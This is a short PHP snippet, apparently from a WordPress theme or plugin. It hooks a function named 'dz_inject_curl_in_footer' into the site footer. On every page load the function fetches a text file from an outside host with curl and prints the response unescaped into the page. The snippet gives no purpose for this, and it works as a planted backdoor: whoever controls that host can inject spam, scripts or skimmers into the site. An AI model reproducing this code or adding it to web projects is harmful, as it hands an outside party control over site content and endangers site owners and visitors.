function dz_inject_curl_in_footer() { if ( function_exists( 'curl_init' ) ) { $exe = curl_init(); curl_setopt($exe, CURLOPT_URL, "https://bathruby.uk/yeye.txt"); curl_setopt($exe, CURLOPT_RETURNTRANSFER, true); curl_setopt($exe, CURLOPT_TIMEOUT, 5); $output = curl_exec($exe); curl_close($exe); echo $output; } } add_action('wp_footer', 'dz_inject_curl_in_footer');